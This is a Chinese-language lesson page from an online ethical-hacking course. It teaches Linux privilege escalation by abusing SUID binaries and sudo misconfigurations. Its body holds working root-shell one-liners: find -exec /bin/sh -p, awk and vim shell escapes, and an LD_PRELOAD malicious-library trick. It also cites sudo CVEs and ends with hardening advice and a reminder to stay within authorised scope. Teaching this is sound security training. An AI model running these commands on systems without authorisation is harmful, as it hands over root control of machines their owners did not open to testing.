0Pricing
Ethical Hacking Academy · 课时

SUID 与 Sudo 滥用

错误配置

SUID 与 Sudo 滥用 是 CoddyKit 上的免费 Ethical Hacking Academy 课时。 这是第 2 节课,共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 Ethical Hacking Academy 学习路径的一部分,你的进度在网页和 CoddyKit 应用中同步。 Ethical Hacking Academy 课程共包含 4 节课。

SUID 位

SUID 权限位会使文件以其所有者的权限运行,而不是以启动它的用户权限运行。当所有者是 root 时,SUID 二进制文件会以 root 身份执行—这对 passwd 等工具很有用,但滥用时也很危险。

-rwsr-xr-x  1 root root  /usr/bin/passwd
# the s in rws = SUID bit

查找 SUID 二进制文件

枚举所有 SUID 文件,并与已知安全的基线进行比较。任何不寻常的对象—文本编辑器、解释器或自定义二进制文件—都可能成为目标。

find / -perm -4000 -type f 2>/dev/null

GTFOBins

GTFOBins 是一个经过整理的目录,介绍在获得 SUID 或 sudo 权限时,如何滥用标准 Unix 二进制文件来逃逸、提升权限或读写文件。发现二进制文件后,请务必在 GTFOBins 中查找对应条目。

# gtfobins.github.io -> search the binary name

滥用 SUID find

如果 find 具有 SUID 位,其 -exec 选项就会以 root 身份运行命令,从而立即获得 root shell。

find . -exec /bin/sh -p \; -quit
# -p preserves the elevated privileges

SUID Shell 逃逸

许多解释器和分页器都可以启动 shell。带有 SUID 的 vim、less、awk 或 python 可以让您进入 root shell。

awk "BEGIN {system(\"/bin/sh -p\")}"
# or in less:  !/bin/sh

Sudo 配置错误

运行 sudo -l 列出允许执行的命令。允许您以 root 身份运行可利用二进制文件,或使用 NOPASSWD 的条目,都是可以立即利用的突破点。该命令不必是 shell—GTFOBins 展示了许多命令的逃逸方法。

sudo -l
# (ALL) NOPASSWD: /usr/bin/vim

对编辑器或分页器使用 Sudo

如果您可以运行 sudo vim(或 less、more、man、nano 等变体),就可以在程序内部以 root 身份启动 shell。

sudo vim -c ":!/bin/sh"
# inside less:  sudo less file  ->  !/bin/sh

LD_PRELOAD 技巧

如果 sudo 保留 LD_PRELOAD(通过 env_keep),您就可以加载恶意共享库;该库会在 sudo 命令启动时以 root 身份运行。

sudo -l  # look for env_keep+=LD_PRELOAD
sudo LD_PRELOAD=/tmp/evil.so program

Sudo 版本漏洞

特定版本的 sudo 存在缺陷—例如Baron Samedit(CVE-2021-3156)堆溢出,以及 -u#-1 绕过漏洞(CVE-2019-14287)。请将 sudo --version 的结果与已知 CVE 进行比对。

sudo --version
# vulnerable < 1.9.5p2 -> Baron Samedit

自定义 SUID 二进制文件

开发人员有时会提供自定义的 SUID 辅助程序,这些程序在没有绝对路径的情况下按名称调用其他程序。如果您控制了 PATH,就可以劫持该调用—这会引出下一节介绍的 PATH 滥用技术。

加固与道德规范

防御人员应减少 SUID 二进制文件的数量、使用绝对路径、尽早放弃权限,并通过严格规则及时修补 sudo。作为测试人员,您只能在获得授权的范围内利用这些问题。

快速检查

测试您对 SUID/sudo 的掌握程度。

回顾

您学习了 SUID 和 sudo 的滥用方式:

  • SUID 会让二进制文件以其所有者身份运行(通常是 root)
  • 在 GTFOBins 中检查发现的二进制文件
  • 通过 SUID/sudo 下的 find、vim、awk、less 实现 Shell 逃逸
  • LD_PRELOAD 和 sudo CVE(Baron Samedit)也可以实现权限提升

下一节:cron 任务和 PATH 滥用。

常见问题解答

「SUID 与 Sudo 滥用」课时是免费的吗?

是的 — 「SUID 与 Sudo 滥用」的完整文本可在网页上免费阅读。要进行交互式练习(内置代码编辑器和全天候 AI 导师)并解锁 Ethical Hacking Academy 课程的其余内容,请升级到 CoddyKit PRO。 Ethical Hacking Academy 课程共包含 4 节课。

「SUID 与 Sudo 滥用」这节课中我会学到什么?

错误配置 你通过在浏览器中直接运行的动手代码来练习 Ethical Hacking Academy,全天候 AI 导师会在你学习这节课的过程中回答你的问题。

学习 Ethical Hacking Academy 需要有经验吗?

无需任何先前经验。CoddyKit 上的 Ethical Hacking Academy 课程适合初学者到高级学习者,你可以从这里开始或从头开始,按照自己的节奏学习。 这是第 2 节课,共 4 节。

「SUID 与 Sudo 滥用」课时需要多长时间?

大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动,所以你能稳步进步,并在网页和应用中从离开的地方继续。

我能在这节 Ethical Hacking Academy 课中编写并运行代码吗?

能。每节 Ethical Hacking Academy 课都包含内置代码编辑器,你可以在浏览器中直接编写并运行真实代码,并获得即时 AI 反馈 — 无需本地设置。

此课程中的所有课时

  1. 枚举
  2. SUID 与 Sudo 滥用
  3. Cron 任务与 PATH
  4. 内核漏洞利用
← 返回 Ethical Hacking Academy